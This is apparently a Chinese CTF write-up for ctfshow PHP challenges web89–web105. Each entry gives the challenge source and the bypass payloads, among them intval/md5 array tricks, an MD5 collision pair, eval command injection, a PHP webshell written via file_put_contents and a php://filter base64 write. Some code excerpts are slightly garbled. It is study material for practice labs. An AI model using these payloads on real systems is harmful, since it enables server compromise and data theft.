web89
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
遇事不决先试试数组捏,?num[]=1
web90
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
4476后加任意字符即可。?num=4476a
。
我们默认的上传类型就是字符型,我们直接在末尾添加一个字符就可以。
web91
https://blog.csdn.net/qq_46091464/article/details/108278486
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
这个题一上来没看懂,要搞懂他先要理解他的过滤是什么意思。
^
“行首”元字符 (^) 仅匹配字符串的开始位置**$**
“行末”元字符 ($) 仅匹配字符串末尾,或者最后的换行符(除非设置了 D 修饰符)
默认情况下,preg_match函数会认为目标字符串是单行组成的,当目标字符串中有换行符或者匹配中出现^或者$会受到影响。
并且末尾的m的意义如下。
因此综上意思就是,要求传入内容中有php,但是第一行中没有php。
因此payload:abc%0aphp
备注
附PCRE模式修正符
参考文章·:https://blog.csdn.net/forest_fire/article/details/50944901
wp中提到的另一个漏洞:
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
web92
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以。
payload:
1 2 3
| ?num=0x117c ?num=010574 ?num=4476e123
|
web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
十六进制里面会有字符,但是八进制仍然可以使用。
payload:010574
web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。这里检测了不让第一位为0。
但是这个函数是可以被绕过的,利用%0a
、.
、+
、
都可以使用:
1 2 3 4 5 6 7 8 9 10
| 对于strpos()函数,我们可以利用换行进行绕过(%0a) payload:?num=%0a010574 也可以小数点绕过 payload:?num=4476.0 因为intval()函数只读取整数部分 还可以八进制绕过(%20是空格的url编码形式) payload:?num=%20010574 ?num= 010574 ?num=+010574 ?num=+4476.0
|
web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
同上题payload:num=%20010574
web96
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
|
payload:?u=./flag.php
这个./可以表示当前目录
web97
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
直接用数组绕过:a[]=1&b[]=2
方法二 强碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
需要用bp提交。
web98
https://www.php.cn/php-weizijiaocheng-383293.html
https://www.php.cn/php-notebook-172859.html
1 2 3 4 5 6 7
| include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
分析代码:
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); $_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
|
可以理解为:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php include('flag.php'); if($_GET){ $_GET=&$_POST; 址) }else{ "flag"; } i f($_GET['flag']=='flag'){ $_GET=&$_COOKIE; }else{ 'flag';
|
所以直接num传入一个值,然后将post传入HTTP_FLAG=flag
即可
web99 in_array
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
|
可以理解为:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } i f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
} ? >
|
in_array函数的漏洞:
GET传入:n=1.php
POST传入:content=<?php system($_POST[1]);?>
然后就进入1.php,post传入:1=tac fl*
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
所以这道题只需要让v1是truev0就是true了,后面都不用管。然后v2使用命令执行即可。
payload:?v1=1&v2=system('ls')/*&v3=*/;
?v1=1&v2=system('cat ctf*')&v3=;
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
这个也行。
最后要将0x2d要转化成-
ctfshow{ee9557f4-b67a-4c79-8603-e5653885d260}
问题
但是有几个问题,为什么只能使用//来注释不能用//,而且不能如下赋值:**
**?v1=1&v2=system('cat ctf*');/*&v3=*/**
但是神奇的是用写在本地之后运行这种就可以了。
方法二
利用反射类
payload:?v1=1&v2=echo new ReflectionClass&v3=;
关于反射类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) }
var_dump($a->getName()); 获取类名 输出 string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" }
var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod) ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
|
web101
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } }
}
|
和上个题差不多,也是用反射类解决的。
?v1=1&v2=echo new Reflectionclass&v3=;
,将0x2d替换掉:
3c1e313c0x2dbfc60x2d49940x2d938b0x2ddd880411ad8
=》3c1e313c-bfc6-4994-938b-dd880411ad8
但是flag格式最后一个是12位,因此需要爆破出最一位。
0-c一个一个尝试就行。
web102 isnumeric and isnumeric绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
|
substr() 函数返回字符串的一部分。
call_user_func()函数把第一个参数作为回调函数调用
file_put_contents() 函数把一个字符串写入文件中。
代码分析:v4检测是否进入判断。v2会被删除掉前两个字符,v1调用方法传入删过字符的v2,再将结果写入文件v3。
因此核心操作语句在v2。
上来有个数字检测,这里要使用hex2bin。
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串(但是下面这个不行)
1 2 3 4
| $a = "<?=`cat *`;>"; $b = base64_encode($a); $c = bin2hex($b); echo $c;
|
注意这个上面的不行,因为转换后的hex中除了e有其他的字符,wp中提到了使用的以下这种
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $a='<?=`cat *`;'; $b=base64_encode($a); $c=bin2hex('PD89YGNhdCAqYDs'); echo $c; ?>
|
然后生成的hex串:5044383959474e6864434171594473
(这里的e会被当作科学计数法)为了绕过截断需要在前面随便加两个字符11,v3使用伪协议执行
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST传入bin2hex的反函数:v1=hex2bin
web103
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
|
同上题payload
web104
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
|
get,post全传入1即可,或者传入数组
web105 $$a 变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
|
比赛之前遇到好多次这种题了,但是看了wp也没有很好的学明白,看到了一份wp里面讲的很清楚。
采用中间变量来解决:
error=a=flag
GET中error不能在等号左边。
POST中flag不能在等号右边。
GET:a=flag
POST:error=a
这样就达成了一种情况:
首先要知道传入的值是文本,$$key=$$value
达成了$a=$flag
,后半段同理,$error=$a
这样就达成了值桥接。这样文末的判断才会判断为正。
看了一眼wp发现一个更牛的做法,直接get传入:
?suces=flag&flag=
这就是构造的suces=flag=空
后面的默认传入flag就是空对应到flag。